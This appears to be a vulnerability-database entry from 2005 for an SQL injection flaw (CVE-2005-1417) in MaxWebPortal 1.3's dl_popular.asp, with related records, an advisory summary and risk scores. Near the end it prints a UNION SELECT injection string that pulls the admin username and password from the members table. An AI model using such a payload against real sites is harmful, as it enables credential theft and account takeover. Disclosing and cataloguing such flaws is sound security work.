Maxwebportal 1.3 - 'dl_popular.asp' SQL Injection

🗓️ 02 May 2005 00:00:00Reported by s-daliliType

MaxWebPortal 1.3 has SQL injection vulnerabilities allowing data compromise risks.

Reporter	Title	Published	Views	Family All 11
Tenable Nessus	MaxWebPortal < 1.3.5 Multiple SQL Injection	2 May 200500:00	–	nessus
Tenable Nessus	MaxWebPortal <= 1.33 Multiple Vulnerabilities	2 Apr 200500:00	–	nessus
CVE	CVE-2005-1417	3 May 200504:00	–	cve
Cvelist	CVE-2005-1417	3 May 200504:00	–	cvelist
Exploit DB	Maxwebportal 1.3 - 'links_popular.asp' SQL Injection	2 May 200500:00	–	exploitdb
Exploit DB	Maxwebportal 1.3 - 'pic_popular.asp' SQL Injection	2 May 200500:00	–	exploitdb
Exploit DB	Maxwebportal 1.3 - 'dl_toprated.asp' SQL Injection	2 May 200500:00	–	exploitdb
Exploit DB	Maxwebportal 1.3 - 'custom_link.asp' Multiple SQL Injections	2 May 200500:00	–	exploitdb
EUVD	EUVD-2005-1420	7 Oct 202500:30	–	euvd
NVD	CVE-2005-1417	3 May 200504:00	–	nvd

source: https://www.securityfocus.com/bid/13466/info

MaxWebPortal is reportedly affected by multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Dl_Popular.asp?40 DL_ID,Hit,DESCRIPTION,NAME,POST_DATE,1,1,1,1,1,1,1 FROM DL
union select
m_username,m_password,1,1,1,1,1,1,1,1,1,1 from PORTAL_MEMBERS where
m_username='admin' union
select

20 May 2013 00:00Current

7.4High risk

Vulners AI Score7.4

CVSS 27.5

EPSS0.02465